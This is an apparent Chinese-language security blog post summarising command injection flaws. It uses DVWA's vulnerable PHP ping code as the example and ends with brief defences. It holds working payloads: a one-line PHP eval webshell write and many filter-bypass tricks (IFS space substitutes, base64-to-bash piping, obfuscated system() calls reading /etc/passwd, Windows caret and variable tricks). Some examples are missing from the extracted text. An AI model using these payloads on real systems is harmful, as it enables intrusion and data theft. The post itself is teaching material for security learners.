命令执行漏洞总结

0x00 原理

什么是命令执行漏洞:通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

在web应用中,有时候会用到一些命令执行的函数,如php中system()、exec()、shell_exec()等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。

php常见的命令执行函数:system()、exec()、shell_exec()、passthru()等。

0x01 实例

1.1 以dvwa为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
 
ifisset$_POST'Submit' ] ) ) {
    // Get input
    $target $_REQUEST'ip' ];
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec'ping -c 4 ' . $target );
    }
 
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
 
?>

下面使用ping命令测试ip,正常输入一个ip或者域名会返回一个正常的返回结果。

当输入恶意构造的语句“www.baidu.com && netstat -an”,后面的语句也会被执行。

1.2 写入webshell:

(1)windows:

用 ^ 转义:

1
echo ^<?php eval($_POST[pass]); ?^> > web目录/shell.php

单引号写不进去:

双引号会被一起写进去:

  1. linux:
    用单引号(双引号亦可):

0x02 绕过

2.1 Linux:

(1)常用符号:
符号 含义
& 表示将任务置于后台执行。
; 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块。
&& 只有在 && 左边的命令返回真(返回0表示成功), &&右边的命令才会被执行。
|| 只有在 ||左边的命令返回假(返回1表示失败), ||右边的命令才会被执行。
|(管道符) |表示管道,上一条命令的输出,作为下一条命令的参数。
%0a php环境。
%0d php环境。
`` 反引号,跟在命令后,作为命令的参数。
$( ) 跟在命令后,作为命令的参数。

&

;

&&

||(前一条命令执行失败)

|

``

$( )

(2)命令拼接:
ping 127.0.0.1 -c 1;a=who;b=ami;$a$b
(3)环境变量:
echo ${PATH:起始位置:截取长度}

执行命令:

${PATH:5:1}${PATH:2:1}
(4)空格绕过:
符号 备注
$IFS Linux命令中默认指定space,tab,换行
$IFS$1 $IFS$1中的1可以用1-9代替。
${IFS} 同一
< 比如cat<shell.php,表示cat shell.php。
<> 比如cat<>shell.php,表示cat shell.php。
{ , } 用逗号代替空格,需要用{}括起来。
X=$’A\x20B’&&$X A为命令,B为参数,用\x20代替空格。
%20 php环境。
%09 php环境。

$IFS

$IFS$1

${IFS}

< (后面只能跟直接参数,不能跟间接参数)

{cat,shell.php}

X=$’A\x20B’&&$X

(5)关键字绕过:

1 基础:
反斜线绕过:

单引号绕过(必须成对出现):

双引号绕过(必须成对出现):

反引号绕过(必须成对出现并且中间无内容):

base64编码绕过(d2hvYW1p是whoami的base64编码):

1
2
echo d2hvYW1p|base64 -d|sh
echo d2hvYW1p|base64 -d|bash

hex编码绕过(77686F616D69是whoami的hex编码):

1
echo 77686F616D69|xxd -r -p|bash

在没有传入参数的情况下,这些特殊字符默认为空:

1
2
3
4
$*
$@
$x(x为1-9)
${x}(x为任意正整数)

2.进阶:
反引号的作用是把里面的内容当做命令执行。斜杠的作用是拼接。

1
2
666`whoami`666
666`\whoami`666
  1. 进进阶

以上可用来绕过命令和文件名,以下仅绕文件名。

  1. 文件名:
cat sh[efg]ll.php  匹配[efg]中任意一个字符:
cat sh[a-z]ll.php  匹配[a-z]中任意一个字符:

cat she*  匹配任意字符:
a=sh;b=e;c=ll;cat $a$b$c.php  内联执行:

正则表达式:

(6)函数名绕过:
1
2
3
4
5
6
7
8
9
10
11
12
13
# 以system()为例:

system("cat /etc/passwd")

"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

(sy.(st).em)("cat /etc/passwd");

"system/*fgnb*/("cat /etc/passwd");"

"system/*fgnb*/(wh./*fgnb*/(oa)/*fgnb*/.mi);"

"(sy./*fgnb*/(st)/*fgnb*/.em)/*fgnb*/(wh./*fgnb*/(oa)/*fgnb*/.mi);"
(7)斜杠绕过:

${HOME:0:1}:

2.2 Windows:

  1. 逻辑运算符:
    符号 备注
    只执行后半部分。
    || 只有前半部分为假,才执行后半部分。
    & 都会执行后半部分。
    && 都为真才全部执行;前半部分为假,全部不执行;前半部分为真,后半部分为假,只执行前半部分。

    |

    ||

    &

    &&

  2. 常用符号:

    双引号 “

    转义号 ^

    “w”h”o”a”m”i”
    wh^oa^mi
    w””h^o^a”m”i 混合使用时需要注意转义号之前的双引号必须成对出现。
    (((w””h^o^a”m”i)))
  3. set命令:

    用两个%括起来的变量,会输出变量的值:

    set a=1 //设置变量a,值为1
    echo a //此时输出结果为”a”
    echo %a% //此时输出结果为”1”

    利用:

    set a=who
    set b=ami
    %a%%b%
    //或者 call %a%%b%
  4. 切割字符:
    set a=whoami
    %a:0% //切割所有
    %a:
    0,6% //切割前6个字符
    %a:~0,5% //切割前6个字符,whoam不是系统命令,无法执行

    进阶:

    set a=abc
    who^%a:~0,1%mi
  5. 空格绕过:

    CommonProgramFiles=C:\Program Files\Common Files

    PROGRAMFILES=”C:\Program Files”

    从CommonProgramFiles这个变量中截取,从第10个字符开始,截取后面一个字符,那这个空格就被截取到了(也就是Program和Files中间的那个空格)

    PROGRAMFILES同理

    net%CommonProgramFiles:10,-18%user
    net%PROGRAMFILES:
    10,-5%user

    0x03 防御

  6. 采用白名单,或使用正则表达式进行过滤。

  7. 不要让用户可以直接控制system()、exec()、shell_exec()、passthru()等函数的参数。

  8. 在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。


命令执行漏洞总结
http://aqiao-jashell.github.io/2024/06/21/命令执行漏洞总结/
作者
CNAQ
发布于
2024年6月21日
许可协议